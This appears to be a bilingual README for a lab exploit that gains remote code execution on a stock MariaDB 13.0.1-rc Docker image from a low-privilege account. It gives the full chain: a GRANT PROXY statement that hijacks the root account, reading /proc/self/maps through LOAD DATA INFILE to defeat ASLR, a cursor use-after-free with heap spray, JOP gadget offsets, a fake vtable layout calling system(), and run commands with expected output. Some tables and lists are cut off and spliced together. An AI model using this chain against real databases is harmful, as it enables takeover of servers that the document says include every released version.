
MariaDB 13.0.1-rc RCE lab — повышение привилегий (priv-esc) + heap UAF + JOP-цепочка к system() под uid 999(mysql) на стандартном Docker-образе. Найдено с помощью RAPTOR и raptor-loop-hunt.
Удалённое выполнение кода на немодифицированном, стандартном Docker-образе MariaDB 13.0.1-rc под uid 999 (mysql).
Два варианта эксплойта:
| Вариант | Файл | Требования | Примечания |
|---|---|---|---|
| Чистый SQL (рекомендуется) | exploit_pure_sql.py | учётная запись MariaDB с низкими привилегиями + TCP | нет доступа к хосту, нет docker, нет /proc/mem, нет root-пароля |
| PoC при поддержке хоста | exploit.py | root на Docker-хосте | записывает JOP-цепочку через /proc/<pid>/mem |
Проверено и подтверждено на: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 запуска, каждый с новыми базами ASLR).
exploit_pure_sql.py)Атакующий владеет только:
lowpriv из compose) + её паролем, иВся цепочка выполняется в виде SQL-операторов; нет доступа к процессам на стороне хоста, нет docker-команд, нет известных адресов. Каждый runtime-адрес узнаётся от самой цели через SQL:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc/<pid>/mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
Единственные оставшиеся не-SQL операции — это обслуживание после эксплуатации: перезапуск (уже упавшего) контейнера и отображение файла-маркера; они не являются частью эксплуатации.
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
Требуется только клиент mariadb/mysql и Python 3. --container используется
для финального отображения маркера (перезапуск + cat) и может быть опущен, если маркер
проверяется другим способом.
Ожидаемый хвост вывода:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' обходит все
проверки привилегий. Пустая аутентификационная клауза заставляет LEX_USER::has_auth()
возвращать false (пропуская check_alter_user()), в то время как replace_user_table() всё равно
применяет пустой пароль — заменяя учётные данные root. Один SQL-оператор,
любой аутентифицированный пользователь, каждая выпущенная версия MariaDB.
/proc/self/mapsLOAD DATA INFILE '/proc/self/maps' читает полную раскладку памяти
процесса mariadbd изнутри SQL, раскрывая адреса PIE-базы и libc-базы.
Работает с secure_file_priv = NULL (не задан) на стандартном образе.
sp_cursor_array::get_cursor_by_ref() возвращает внутренний указатель на
Dynamic_array, чьё резервное хранилище перемещается my_realloc при росте.
Когда метод open() курсора выполняет подконтрольный атакующему SQL, открывающий
дополнительные курсоры, массив растёт, старое хранилище освобождается, а кэшированный
указатель вызывающего становится висячим.
Освобождённый чанк (16 курсоров x 112 байт = 1792 байта) переиспользуется
heap-spray из 128 копий пользовательской переменной по 1784 байта каждая (точное
соответствие glibc-чанку). Полезная нагрузка spray помещает управляемый указатель
на vtable на смещение 0x20 (член result структуры sp_cursor), который впоследствии
используется для виртуального вызова:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
Два JOP-гаджета из стандартного бинарника mariadbd (без ROP, без stack pivot):
| Гаджет | Смещение | Инструкция | Назначение |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | Выравнивание стека |
| D1 | PIE+0xe3075b |
Фейковая vtable V располагается в буфере 128 МиБ; раскладка:
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"
Проблема курицы и яйца — запись самоссылающихся JOP-данных до знания адреса буфера — решается поведением mmap в glibc:
/proc/self/maps/proc/self/maps; если адрес когда-либо
сдвинулся, самоссылка перезапекается и запись повторяется (на практике сходится
за одну итерацию)Та же цепочка, но JOP-раскладка записывается в процесс через
/proc/<pid>/mem с Docker-хоста (требуется root), скрипт полезной нагрузки создаётся
через docker exec, а подключение выполняется с root-паролем из compose-файла.
Сохранён как исторический PoC; вариант на чистом SQL превосходит его.
sql/sp_cursor.{cc,h} между тегом 13.0.1 и HEAD).dbd60d0ad8d, MDEV-40470) есть в dev-ветках, но отсутствует во всех выпущенных версиях (проверено с 13.0.1 по 10.6.27).SET GLOBAL max_allowed_packet и используется новое соединение).DATA_OFF, если оно когда-либо изменится).| Старая вспомогательная операция (exploit.py) | Замена на чистый SQL |
|---|
docker inspect → PID + /proc/<pid>/maps на стороне хоста | LOAD DATA INFILE '/proc/self/maps' |
запись в /proc/<pid>/mem на стороне хоста для JOP-цепочки | раскладка встраивается через CONCAT/UNHEX при выделении; адрес из SQL-стороннего диффа maps; переиспользование mmap-слота сохраняет самоссылку валидной |
docker exec ... echo CMD > /tmp/payload_cmd.sh | строка команды встраивается напрямую в JOP-раскладку |
mariadb -uroot -plabpass (root-пароль) | повышение через GRANT PROXY из низкопривилегированной учётной записи |
docker exec ... cat MARKER | используется только для отображения доказательства |
mov rdi,[rax+0xa8]; call [rax+0xa0]| Загрузка указателя на команду, вызов system() |